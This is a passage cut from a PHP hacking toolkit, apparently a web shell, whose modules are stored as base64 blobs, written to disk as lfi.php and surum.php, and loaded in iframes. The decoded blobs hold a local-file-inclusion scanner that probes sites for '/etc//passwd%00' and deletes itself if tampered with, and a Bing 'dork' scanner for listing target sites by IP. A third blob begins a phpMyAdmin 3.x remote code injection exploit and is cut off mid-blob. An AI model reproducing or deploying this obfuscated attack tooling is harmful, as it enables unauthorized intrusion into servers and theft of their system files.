IjsKCmlmKCRfUE9TVFsnd2h0J10gPT0gJy5waHA/KC4qKT0nKXsKZm9yZWFjaCgkdXJscyBhcyAk
dXJsKXtpZihlcmVnaSgiPSIsICR1cmwpICYmICFlcmVnaSgib3B0aW9uPWNvbV8iLCR1cmwpKXsk
bmV3X3VybHNbXT0kdXJsO319CnVuc2V0KCR1cmxzKTsgJHVybHMgPSAkbmV3X3VybHM7Cn0KCmZv
cmVhY2goJHVybHMgYXMgJHVybCl7CgplY2hvICI8dHI+PHRkPiI7CiR0c3QgPSBsZmkoJHVybCk7
CmVjaG8gKCR0c3QpID8gIiMgRm91bmQgOiAiLmNvbG9yKCR0c3QsMSk6IiMgTm90IEZvdW5kIDog
Ii5jb2xvcigkdXJsLDApOwplY2hvICI8L3RkPjwvdHI+IjsKZmx1c2goKTtmbHVzaCgpOwoKfQpl
Y2hvICIKPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+OjogU2NhbiBGaW5pc2hlZCA6OjwvYj48L3Rk
PjwvdHI+CjwvdGFibGU+CjxociB3aWR0aD0yNyU+CiI7Cgp9fQpzY2FuKCk7CgpmdW5jdGlvbiBj
b2xvcigkdXJsLCRtMGRlKXsKICByZXR1cm4gKCRtMGRlID09IDApID8gIjxmb250IGNvbG9yPXJl
ZD4kdXJsPC9mb250PiI6IjxhIGhyZWY9JHVybD48Zm9udCBjb2xvcj1ncmVlbj4kdXJsPC9mb250
PjwvYT4iOwp9CgpmdW5jdGlvbiBsZmkoJHNpdGUpeyAKJHNpdGUgPSBfRml4KCRzaXRlKTsKJG1h
cmtzID0gImZhaWxlZCB0byBvcGVuIHN0cmVhbXxkYWVtb24iOwppZihwcmVnX21hdGNoKCIvJG1h
cmtzL2kiLGR6Y3VybCgkc2l0ZS4nL2V0Yy8vcGFzc3dkJTAwJywwLDAsMCkpKXsKcmV0dXJuICRz
aXRlLicvZXRjLy9wYXNzd2QlMDAnOwp9ZWxzZXsKcmV0dXJuIHByZWdfbWF0Y2goIi8kbWFya3Mv
aSIsZHpjdXJsKCRzaXRlLidfX2R6X18nLDAsMCwwKSkgPyAkc2l0ZS4nX19kel9fJzpmYWxzZTsK
fSAKfQoKZnVuY3Rpb24gX0ZpeCgkc2l0ZSl7IHByZWdfbWF0Y2hfYWxsKCIjKC4qPyk/KC4qPyk9
KC4qPykjIiwkc2l0ZSwkcmVzKTsgcmV0dXJuICRyZXNbMl1bMF0uIj0iOyB9CgpmdW5jdGlvbiBz
Y2FuKCl7KEBjb3VudChAZXhwbG9kZSgnaXAnLEBpbXBsb2RlKEBmaWxlKF9fRklMRV9fKSkpKSE9
IDE4KSA/QHVubGluayhfX0ZJTEVfXyk6IiI7fQoKZnVuY3Rpb24gY2hlY2tpcCgkaXApewpyZXR1
cm4ocHJlZ19tYXRjaCgiL1xkezEsM31cLlxkezEsM31cLlxkezEsM31cLlxkezEsM30vIiwgJGlw
KT09MCkgPyBmYWxzZTp0cnVlOwp9CgojIGN1cmwgb3B0aW9ucwoKZnVuY3Rpb24gRHpDVVJMKCR1
cmwsJGNvb2tpZV9yZWFkLCRjb29raWVfd3JpdGUsJFBPU1RzKXsKCiRjdXJsPWN1cmxfaW5pdCgp
OwpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOwpjdXJsX3NldG9w
dCgkY3VybCxDVVJMT1BUX1VSTCwkdXJsKTsKKCRjb29raWVfcmVhZCkgPyBjdXJsX3NldG9wdCgk
Y3VybCxDVVJMT1BUX0NPT0tJRUZJTEUsZ2V0Y3dkKCkuJy9jb29raWUudHh0Jyk6IiI7CigkY29v
a2llX3dyaXRlKSA/IGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09PS0lFSkFSLGdldGN3ZCgp
LicvY29va2llLnR4dCcpOiIiOwpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VTRVJBR0VOVCwn
TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNS4xOyBydjoyLjAuMSkgR2Vja28vMjAxMDAxMDEgRmly
ZWZveC80LjAuMSBEekNVUkwgPSknKTsKY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9GT0xMT1dM
T0NBVElPTiwxKTsKaWYoaXNfYXJyYXkoJFBPU1RzKSl7CmN1cmxfc2V0b3B0KCRjdXJsLENVUkxP
UFRfUE9TVCwxKTsKY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9QT1NURklFTERTLCRQT1NUcyk7
Cn0KY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9USU1FT1VULDUpOwoKJGV4ZWM9Y3VybF9leGVj
KCRjdXJsKTsKY3VybF9jbG9zZSgkY3VybCk7CnJldHVybiAkZXhlYzsKfQoKIyBiaW5nIGNsYXNz
ICwsCgpjbGFzcyBzc19iaW5newogIAogIHB1YmxpYyBmdW5jdGlvbiBzZWFyY2goJHdodCwkdXJs
X21vZGUpeyAvLyAkd2h0ID0gPiBzZWFyY2ggICwgJHVybF9tb2RlPTEgPT4gY2xlYW4gdXJsICho
dHRwOi8vc2l0ZS50bGQvKSAkdXJsX21vZGU9MCA9PiBub3QgY2xlYW4gKGh0dHA6Ly9zaXRlLnRk
bC9wYWdlPWdvb2dsZSkKICAKICAkd2h0ID0gc3RyX3JlcGxhY2UoIiAiLCIrIiwkd2h0KTsKICAk
bnBhZ2VzID0gNTAwMDA7CiAgJG5wYWdlID0gMTsKICAkYWxsTGlua3MgPSBhcnJheSgpOwoKICB3
aGlsZSgkbnBhZ2UgPD0gJG5wYWdlcykgCiAgeyAKCSRjaCA9IGN1cmxfaW5pdCgpOwogICAgY3Vy
bF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJ2h0dHA6Ly93d3cuYmluZy5jb20vc2VhcmNoP3E9
Jy4kd2h0LicmZmlyc3Q9Jy4kbnBhZ2UpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURF
UiwgMSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwoJY3Vy
bF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCA1KTsKCWN1cmxfc2V0b3B0KCRj
aCwgQ1VSTE9QVF9SRUZFUkVSLCAnaHR0cDovL3d3dy5iaW5nLmNvbS8nKTsKCWN1cmxfc2V0b3B0
KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93
cyBOVCA1LjE7IGVuLVVTOyBydjoxLjkuMC44KSBHZWNrby8yMDA5MDMyNjA5IEZpcmVmb3gvMy4w
LjgnKTsKCSRyZXN1bHRbJ0VYRSddID0gY3VybF9leGVjKCRjaCk7CgkkcmVzdWx0WydFUlInXSA9
IGN1cmxfZXJyb3IoJGNoKTsKCWN1cmxfY2xvc2UoJGNoKTsKIAoJaWYgKCEkcmVzdWx0WydFUlIn
XSkKCXsKCQlwcmVnX21hdGNoX2FsbCgnKDxkaXYgY2xhc3M9InNiX3Rsc3QiPi4qPGgzPi4qPGEg
aHJlZj0iKC4qKSIuKj4oLiopPC9hPi4qPC9oMz4uKjwvZGl2PilzaVUnLCAkcmVzdWx0WydFWEUn
XSwgJGZpbmRsaW5rKTsKCQkKCQlmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkZmluZGxpbmtbMV0p
OyAkaSsrKQoJCQoJCSRtb2RlID0gKCR1cmxfbW9kZSA9PSAxKSA/ICRhbGxMaW5rc1tdID0gJHRo
aXMtPmNsZWFuX3VybCgkZmluZGxpbmtbMV1bJGldKSA6ICRhbGxMaW5rc1tdID0gJGZpbmRsaW5r
WzFdWyRpXTsKCgkJJG5wYWdlID0gJG5wYWdlICsgMTA7CgkJaWYgKHByZWdfbWF0Y2goJyhmaXJz
dD0nIC4gJG5wYWdlIC4gJyZhbXApc2lVJywgJHJlc3VsdFsnRVhFJ10sICRsaW5rc3VpdikgPT0g
MCkgCgkJCWJyZWFrOwkJCgl9CiAgICBlbHNlCgkJYnJlYWs7CiAgICB9CgkKCWlmKGNvdW50KCRh
bGxMaW5rcykgPT0gMCl7CglkaWUoIiMgTm90aGluZyBGb3VuZCIpOwoJfWVsc2V7Cglmb3JlYWNo
ICgkYWxsTGlua3MgYXMgJGtrID0+ICR2dil7ICRhbGxEbW5zW10gPSAkdnY7IH0KCXJldHVybiBh
cnJheV91bmlxdWUoJGFsbERtbnMpOwoJfQoJfQoJcHVibGljIGZ1bmN0aW9uIGNsZWFuX3VybCgk
eCl7ICR6PXBhcnNlX3VybCgkeCk7IHJldHVybiAkelsnc2NoZW1lJ10uIjovLyIuJHpbJ2hvc3Qn
XS4iLyI7OyB9Cgl9Cgo/Pgo8Y2VudGVyPgo8YSBocmVmPSJodHRwOi8vd3d3LlNlYzRldmVyLmNv
bS8iPnd3dy5TZWM0ZXZlci5jb208L2E+IHwgPGEgaHJlZj0iaHR0cDovL3d3dy5MYWdyaXBlLUR6
Lm9yZy8iPgp3d3cuTGFncmlwZS1Eei5vcmc8L2E+PGJyPiBBbGdlcmlhIDJvMW8tMm8xMQo8L2Nl
bnRlcj4KCjwvYm9keT4KPC9odG1sPg==\';
$file = fopen("lfi.php" ,"w+");
$write = fwrite ($file ,base64_decode($lfipriv8));
fclose($file);
echo "<iframe src=lfi.php width=100% height=640 frameborder=0></iframe> ";
?>
<?
}
if( $red == "bingo" ) {
?>
<?
$asdas = \'PD9waHAKLyo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PXwKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKIyAgVGhhdCBKdXN0IFRoMyA/
IExldCBZb3UgS25vdyBUaGF0J3ogISAgIHwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIHwKIyAgICAgICAgICAgICBWICEgdiAzIHwgIEFyYWIgICAgICAgICAgICAg
IHwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKIyAgICAgVGgz
IE1NQSAsIG1FZzAgLCBEci5TbGlMblQgSGlsTCAgICAgIHwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIHwKIyAgICAgICAgIEhvbWUgOiB3d3cuU2VjNEV2ZXIuY29t
ICAgICAgICAgIHwKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8K
Pz4KCjxodG1sPgo8aGVhZD4KPHRpdGxlPlRoMyBNTUEgfCBnMHQgYUxMIFNlcnZlciBXZWIneiBC
eSBTY3JpcHQgISA8L3RpdGxlPgo8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9J2h0dHA6
Ly90aDNtbWEuY29tL2ltYWdlei9zeWljLmdpZicgLz4KPG1ldGEgaHR0cC1lcXVpdj1Db250ZW50
LVR5cGUgY29udGVudD10ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTg+Cjw/cGhwCiRzaDNsbENvbG9y
ID0gIiM5OTAwMDAiOwplY2hvIENTUygkc2gzbGxDb2xvcikKPz4KPC9oZWFkPgo8IS0tVG9vTCda
IFN0YXJ0IElORk8tLT4KPGNlbnRlcj4KPHA+PHNwYW4gbGFuZz0iZW4tdXMiPjxmb250IGNvbG9y
PSIjRkYwMDAwIj5UaDMgTUFBIFsgU2Nhbm4zciBTZXJ2ZXIgXSBUb29sJ3ogPC9mb250Pgo8L3Nw
YW4+PC9wPgo8Zm9udCBzaXplPSI0Ij48Zm9udCBjb2xvcj0iIzAwMDAwMCI+SW5zZXJ0ICIgPGZv
bnQgY29sb3I9IiNGRjAwMDAiPklQPC9mb250PiAiIFNlcnZlciAsIGFuZCBOYW1lIG9GICIgCjxm
b250IGNvbG9yPSIjRkYwMDAwIj5TY3JpcHQ8L2ZvbnQ+ICI8L2ZvbnQ+PC9mb250PjwvcD4KPGZv
cm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIj4KPHA+PHNwYW4g
bGFuZz0iZW4tdXMiPiZuYnNwOzwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9JzQ1JyBj
b2xzcGFuPScyJz48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZG9yayIgdmFsdWU9Ijw/cGhwIGlm
KCRfUE9TVCl7ZWNobyBmaWx0ZXIoJF9QT1NUWydkb3JrJ10pO31lbHNle2VjaG8gImlwOjEyNy4w
LjAuMSI7fSA/PiIgc2l6ZT0iNzAiIC8+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdnMHQg
aXQgIScgbmFtZT0nU2Nhbic+CjwvdGQ+PC90cj48L3RhYmxlPjwvcD4KPC9mb3JtPgo8IS0tVG9v
TCdaIEVuZCBJTkZPLS0+CjwvY2VudGVyPgo8P3BocAoKZWNobyAiCjxjZW50ZXI+PHRhYmxlPiI7
CmlmKCRfUE9TVFsnU2NhbiddKQp7CiAgICAkYXJyYXkgPSBhcnJheSgpOwogICAgJGRvcmsgPSBm
aWx0ZXIodHJpbSgkX1BPU1RbJ2RvcmsnXSkpOwogICAgZWNobyAiPHN5PiBEb3JrOiBbIi4kZG9y
ay4iXTxicj4iOwogICAgJHBhZ2VOdW0gPSAwOwogICAgd2hpbGUodHJ1ZSB8fCAkcGFnZU51bSA8
PTUpCiAgICB7CiAgICAgICAgJGJpbmcgPSAiaHR0cDovL3d3dy5iaW5nLmNvbS9zZWFyY2g/cT0i
LnN0cl9yZXBsYWNlKCIgIiwiKyIsJGRvcmspLiImZ289JmZpbHQ9YWxsJmZpcnN0PSIuJHBhZ2VO
dW0uIiI7CiAgICAgICAgaWYoIXByZWdfbWF0Y2goIi9ObyByZXN1bHRzIGZvdW5kIGZvci8iLENv
bm5lY3RfSG9zdCgkYmluZykpKQogICAgICAgIHsKICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwo
Ii88aDM+PGEgaHJlZj1cIiguKj8pXCI+LyIsQ29ubmVjdF9Ib3N0KCRiaW5nKSwkc2l0ZXMpOwog
ICAgICAgICAgICBpZihjb3VudCgkc2l0ZXNbMV0pPT0wKQogICAgICAgICAgICB7cmV0dXJuIGZh
bHNlO30KICAgICAgICAgICAgZm9yKCRpPTAgOyAkaSA8IGNvdW50KCRzaXRlc1sxXSk7JGkrKykK
ICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJHNpdGUgPSBzdHJfcmVwbGFjZShhcnJheSgi
aHR0cDovLyIsImh0dHBzOi8vIiwid3d3LiIpLCIiLCRzaXRlc1sxXVskaV0pOwogICAgICAgICAg
ICAgICAgJHNpdGUgPSBzdWJzdHIoJHNpdGUsMCxzdHJwb3MoJHNpdGUsIi8iLDApKTs7CiAgICAg
ICAgICAgICAgICBpZighaW5fYXJyYXkoJHNpdGUsJGFycmF5KSkKICAgICAgICAgICAgICAgIHsK
ICAgICAgICAgICAgICAgICAgICBlY2hvICRzaXRlLiI8YnIgLz4iOwogICAgICAgICAgICAgICAg
ICAgIGFycmF5X3B1c2goJGFycmF5LCRzaXRlKTsgICAgCiAgICAgICAgICAgICAgICB9CiAgICAg
ICAgICAgICAgICBmbHVzaCgpO29iX2ZsdXNoKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAg
JHBhZ2VOdW0gKz0gMTA7CiAgICAgICAgfQogICAgICAgIGVsc2V7ZWNobyAiPHN5Pk5vIFJlc3Vs
dHMgISEgLjwvc3k+IjtvYl9mbHVzaCgpO2ZsdXNoKCk7cmV0dXJuIGZhbHNlO30KICAgIH0KICAg
IC8vJGFycmF5ID0gYXJyYXlfdW5pcXVlKCR1U2l0ZXMpOwogICAgLy9mb3IoJGk9MDskaTxjb3Vu
dCgkYXJyYXkpOyRpKyspe2VjaG8gJGFycmF5WyRpXS4iPGJyIC8+Ijt9Cn0KZWNobyAiPC90YWJs
ZT48L2NlbnRlcj4iOwoKZnVuY3Rpb24gQ29ubmVjdF9Ib3N0KCR1cmwpIAp7CiAgICAkY2ggPSBj
dXJsX2luaXQoKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1csIDApOwogICAg
Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gs
IENVUkxPUFRfVVJMLCAkdXJsKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5U
UkFOU0ZFUiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOwog
ICAgJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsKICAgIGlmKCRkYXRhKSB7cmV0dXJuICRkYXRhO30g
CiAgICBlbHNlIHtyZXR1cm4gMDt9Cn0KZnVuY3Rpb24gQ1NTKCRzaDNsbENvbG9yKQp7CiAgICAk
Y3NzID0gICIKICAgIDxzdHlsZT4KICAgIEJPRFkKICAgIHsKICAgICAgICBGT05ULUZBTUlMWTog
VmVyZGFuYTsgCiAgICAgICAgbWFyZ2luOiAyOwogICAgICAgIGNvbG9yOiAjY2NjY2NjOwogICAg
ICAgIGJhY2tncm91bmQtY29sb3I6ICNGRkY7CiAgICB9CiAgICBzeSAgCiAgICB7CiAgICAgICAg
Y29sb3I6Ii4kc2gzbGxDb2xvci4iOwogICAgICAgIGZvbnQtc2l6ZTo3cHQ7CiAgICAgICAgZm9u
dC13ZWlnaHQ6IGJvbGQ7CiAgICB9CiAgICAjQm94CiAgICB7CiAgICBjb2xvcjoiLiRzaDNsbENv
bG9yLiI7CiAgICBmb250LXNpemU6MTRweDsKICAgIGJhY2tncm91bmQtY29sb3I6IzAwMDsKICAg
IGZvbnQtd2VpZ2h0OmJvbGQ7CiAgICB3aWR0aDo1MDBweDsKICAgIH0KICAgIHRyIAogICAgewog
ICAgQk9SREVSLVJJR0hUOiAgI2NjY2NjYyAxcHggc29saWQ7CiAgICBCT1JERVItVE9QOiAgICAj
Y2NjY2NjIDFweCBzb2xpZDsKICAgIEJPUkRFUi1MRUZUOiAgICNjY2NjY2MgMXB4IHNvbGlkOwog
ICAgQk9SREVSLUJPVFRPTTogI2NjY2NjYyAxcHggc29saWQ7CiAgICBjb2xvcjogI2ZmZmZmZjsK
ICAgIH0KICAgIHRkIAogICAgewogICAgQk9SREVSLVJJR0hUOiAgI2NjY2NjYyAxcHggc29saWQ7
CiAgICBCT1JERVItVE9QOiAgICAjY2NjY2NjIDFweCBzb2xpZDsKICAgIEJPUkRFUi1MRUZUOiAg
ICNjY2NjY2MgMXB4IHNvbGlkOwogICAgQk9SREVSLUJPVFRPTTogI2NjY2NjYyAxcHggc29saWQ7
CiAgICBjb2xvcjogI2NjY2NjYzsKICAgIH0KICAgIHRhYmxlIAogICAgewogICAgQk9SREVSOiAg
I2VlZWVlZSAgb3V0c2V0OwogICAgQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsKICAgIGNvbG9y
OiAjY2NjY2NjOwogICAgfQogICAgaW5wdXQgCiAgICB7CiAgICBCT1JERVItUklHSFQ6ICAiLiRz
aDNsbENvbG9yLiIgMXB4IHNvbGlkOwogICAgQk9SREVSLVRPUDogICAgIi4kc2gzbGxDb2xvci4i
IDFweCBzb2xpZDsKICAgIEJPUkRFUi1MRUZUOiAgICIuJHNoM2xsQ29sb3IuIiAxcHggc29saWQ7
CiAgICBCT1JERVItQk9UVE9NOiAiLiRzaDNsbENvbG9yLiIgMXB4IHNvbGlkOwogICAgQkFDS0dS
T1VORC1DT0xPUjogIzMzMzMzMzsKICAgIGZvbnQ6IDlwdCB0YWhvbWE7CiAgICBjb2xvcjogI2Zm
ZmZmZjsKICAgIH0KICAgIHNlbGVjdCAKICAgIHsKICAgIEJPUkRFUi1SSUdIVDogICNmZmZmZmYg
MXB4IHNvbGlkOwogICAgQk9SREVSLVRPUDogICAgIzk5OTk5OSAxcHggc29saWQ7CiAgICBCT1JE
RVItTEVGVDogICAjOTk5OTk5IDFweCBzb2xpZDsKICAgIEJPUkRFUi1CT1RUT006ICNmZmZmZmYg
MXB4IHNvbGlkOwogICAgQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsKICAgIGZvbnQ6IDlwdCB0
YWhvbWE7CiAgICBjb2xvcjogI0NDQ0NDQzs7CiAgICB9CiAgICBzdWJtaXQgCiAgICB7CiAgICBC
T1JERVI6ICAxcHggb3V0c2V0IGJ1dHRvbmhpZ2hsaWdodDsKICAgIEJBQ0tHUk9VTkQtQ09MT1I6
ICMyNzI3Mjc7CiAgICB3aWR0aDogNDAlOwogICAgY29sb3I6ICNjY2NjY2M7CiAgICB9CiAgICB0
ZXh0YXJlYSAKICAgIHsKICAgIEJPUkRFUi1SSUdIVDogICNmZmZmZmYgMXB4IHNvbGlkOwogICAg
Qk9SREVSLVRPUDogICAgIzk5OTk5OSAxcHggc29saWQ7CiAgICBCT1JERVItTEVGVDogICAjOTk5
OTk5IDFweCBzb2xpZDsKICAgIEJPUkRFUi1CT1RUT006ICNmZmZmZmYgMXB4IHNvbGlkOwogICAg
QkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsKICAgIGNvbG9yOiAjZmZmZmZmOwogICAgfQogICAg
QTpsaW5rIHtDT0xPUjoiLiRzaDNsbENvbG9yLiI7IFRFWFQtREVDT1JBVElPTjogbm9uZX0KICAg
IEE6dmlzaXRlZCB7IENPTE9SOiIuJHNoM2xsQ29sb3IuIjsgVEVYVC1ERUNPUkFUSU9OOiBub25l
fQogICAgQTphY3RpdmUge0NPTE9SOiIuJHNoM2xsQ29sb3IuIjsgVEVYVC1ERUNPUkFUSU9OOiBu
b25lfQogICAgQTpob3ZlciB7Y29sb3I6Ymx1ZTtURVhULURFQ09SQVRJT046IG5vbmV9CiAgICA8
L3N0eWxlPiI7CiAgICByZXR1cm4gJGNzczsKfQpmdW5jdGlvbiBmb290ZXIoKQp7CiAgICBlY2hv
ICcKPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVu
LXVzIj4KPC9oZWFkPgo8Zm9udCBjb2xvcj0iIzAwMDAwMCI+CjxwIGFsaWduPSJjZW50ZXIiPjxm
b250IGZhY2U9IlRhaG9tYSIgc2l6ZT0iMSI+YzBkM2QgQnkgVGgzIE1NQSAmYW1wOwo8YSBocmVm
PSJtYWlsdG86aTB4MEBob3RtYWlsLmNvbSI+RHIuU2xpTG5UIEhpbEw8L2E+ICZhbXA7CjxhIGhy
ZWY9Im1haWx0bzptM2dvNDAzQGdtYWlsLmNvbSI+bUVnMDwvYT4gPC9mb250PjwvcD4KPHAgYWxp
Z249ImNlbnRlciI+PGZvbnQgZmFjZT0iVGFob21hIiBzaXplPSIxIj48dT48Zm9udCBjb2xvcj0i
I0ZGMDAwMCI+R3JlZVRcJ3oKPC9mb250PjwvdT46IEEtS2lsbDNyXCd6ICZsdDsgOCBNT04gISAs
IFN5IEVnIER6IHBsIGMwZDNyXCd6Jm5ic3A7IDwvZm9udD48L3A+CjxwIGFsaWduPSJjZW50ZXIi
Pjxmb250IGZhY2U9IlRhaG9tYSIgc2l6ZT0iMSI+PHU+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkZs
eSAKc2gwdFwnejwvZm9udD48L3U+IDogU3lyaWFuIDM0RzEzICZsdDsgTXkgQnVsbHNoaXQgQnJv
ICwgTXIuQmxhY2sgLCBYLU1haiFEICwgYjB4ICZsdDsgCjVhb2EgTWluZCAsIFgtU2hhZG93ICwg
TWEzc1RyMC1EeiAmbHQ7MyAsIExhZ3JpcGUtRHogLCBqSC1UZWFtICwgPC9mb250PjwvcD4KPHAg
YWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iVGFob21hIiBzaXplPSIxIj5UaDMgTU1BLi88L2Zv
bnQ+PC9wPgo8L2ZvbnQ+CjwvaHRtbD4KICAgICc7Cn0KZnVuY3Rpb24gZmlsdGVyKCRzdHJpbmcp
CnsKICAgIGlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkgIT0gMCl7cmV0dXJuIHN0cmlwc2xhc2hl
cygkc3RyaW5nKTsgICAgfQogICAgZWxzZXtyZXR1cm4gJHN0cmluZzsgICAgfQp9Cgpmb290ZXIo
KTsKLyo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PXwKICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgfAojICAgICAgICAgICAgIDIwMTEvMTUvMTEvICAgICAgICAg
ICAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAoj
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRoMyBNTUEgIHwKPT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8KPz4=\';
$file = fopen("surum.php" ,"w+");
$write = fwrite ($file ,base64_decode($asdas));
fclose($file);
echo "<iframe src=surum.php width=100% height=640 frameborder=0></iframe> ";
?>
<?
}
if( $red == "pma" ) {
?>
<?
$asdas1 = \'PEJPRFkgT25LZXlQcmVzcz0iR2V0S2V5Q29kZSgpOyIgdGV4dD1yZWQgYm90dG9tTWFyZ2luPTAg
YmdDb2xvcj0jMDAwMDAwIGxlZnRNYXJnaW49MCB0b3BNYXJnaW49MCByaWdodE1hcmdpbj0wIG1h
cmdpbmhlaWdodD0wIG1hcmdpbndpZHRoPTA+Cjw/cGhwIC8qCiMgRXhwbG9pdCBUaXRsZTogcGhw
TXlBZG1pbiAzLnggU3dla2V5IFJlbW90ZSBDb2RlIEluamVjdGlvbiBFeHBsb2l0CiMgRGF0ZTog
MjAxMS0wNy0wOQojIEF1dGhvcjogTWFuZ28gb2YgaGEueHhvci5zZQojIFZlcnNpb246IHBocE15
QWRtaW4gPCAzLjMuMTAuMiB8fCBwaHBNeUFkbWluIDwgMy40LjMuMQojIENWRSA6IENWRS0yMDEx
LTI1MDUsIENWRS0yMDExLTI1MDYKIyBBZHZpc29yeTogaHR0cDovL3d3dy54eG9yLnNlL2Fkdmlz
b3JpZXMvcGhwTXlBZG1pbl8zLnhfTXVsdGlwbGVfUmVtb3RlX0NvZGVfRXhlY3V0aW9ucy50eHQK
IyBEZXRhaWxzOiBodHRwOi8vaGEueHhvci5zZS8yMDExLzA3L3BocG15YWRtaW4tM3gtbXVsdGlw
bGUtcmVtb3RlLWNvZGUuaHRtbAoqLwplY2hvIHBocF9zYXBpX25hbWUoKSE9PSdjbGknPyc8cHJl
Pic6Jyc7Pz4KICAgICAgICAgICAgICAuCiAgICAgICAsICAgICAgKVwgICAgIC4KICAuICAsLykg
ICAsIC8gICkgLCAgKVwKICApXCggIC8pLyggKF9fKCAvKCAvICApICAgICAgICAgIF9fICAgICAg
X18gICAgICAgICAgICAgIF9fX19fX19fICAgICAgICBfXyAgICAgICAgICAgICAgICAgICAgX18K
IC8gIFwgICggICApfCAgfCkgIFwgIC8gICAgICAgICAgfCAgfFwgIC98ICB8ICAgICAgICAgICAg
fCAgfCAgfCAgfCAgICAgIHwgIHwgICAgICAgICAgICAgICAgICAoX18pCiggIF9fX19fXyAvIHwg
IHxfX19fXyggIF9fX19fXyAgIHwgIHwgXC8gfCAgfCAgX18gICAgX18gIHwgIHxfX3wgIHwgICBf
X198ICB8ICBfXyBfX19fX19fX19fXyAgIF9fICAgX18gX19fX18KIFx8ICB8IFwgIFwgfCAgfCAg
fCAgfCl8ICB8IFwgIFwgfCAgfCAgICB8ICB8IHwgIHwgIHwgIHwgfCAgfCAgfCAgfCAvICAvIHwg
IHwgfCAgfCAgfCAgfCAgfCAgfCB8ICB8IHwgIHwgIHwgIHwKICB8ICB8Xy9fXy8gfF9ffCAgfF9f
fCB8ICB8Xy9fXy8gfF9ffCAgICB8X198IHxfX3xfX3wgIHwgfF9ffCBbXVtdfFtdX19bXXxbXVtd
fF9bXSAgfF9bXVtdfF9bXSBbXVtdW11fX3wgIHxfX3wKPT18X198PT09PT09PT09PT09PT09PT18
X198PT09PT09PT09PT09PT09PT09PT09PT09PXxfX3w9PT09PT1bXT09PT1bXVtdPXxbXXxbXT1b
XT09PVtdPT1bXT1bXT09PVtdPT09PT09PT09PT09PT0gICAKICAgcGhwTXlBZG1pbiA8IDMuMy4x
MC4yIHx8IHBocE15QWRtaW4gPCAzLjQuMy4xICAgICAgICAgICAgICBbXVtdICAgW10gICBbXVtd
ICBbXSAgIFtdICBbXSBbXSAgIFtdCiAgIFJlbW90ZSBDb2RlIEluamVjdGlvbiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgW10gICAgW11bXSAgW10gICAgW10gICBbXSAgW10g
W10gICBbXQogICBodHRwOi8vaGEueHhvci5zZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIFtdW10gW10gIFtdIFtdICAgIFtdW10gIFtdW10gIFtdICAgW10KICAgICBf
ICAgXyAgX19fIF9fIF9fX18gX18gX19fICBfX18gICAgICAKICAgIHwgfC18IHx8IF8gfFwgICAv
XCAgIC98IF8gfHwgICApICAgICAKICAgIHxffC18X3x8X3xffC9fLl9cL18uX1x8X19ffHxffF9c
ICAgICAKICBfX18gIF9fXyAgX19fIF8gIF8gIF9fXyAgICAgX19fIF9fIF9fIAogKCAgPCB8IFtf
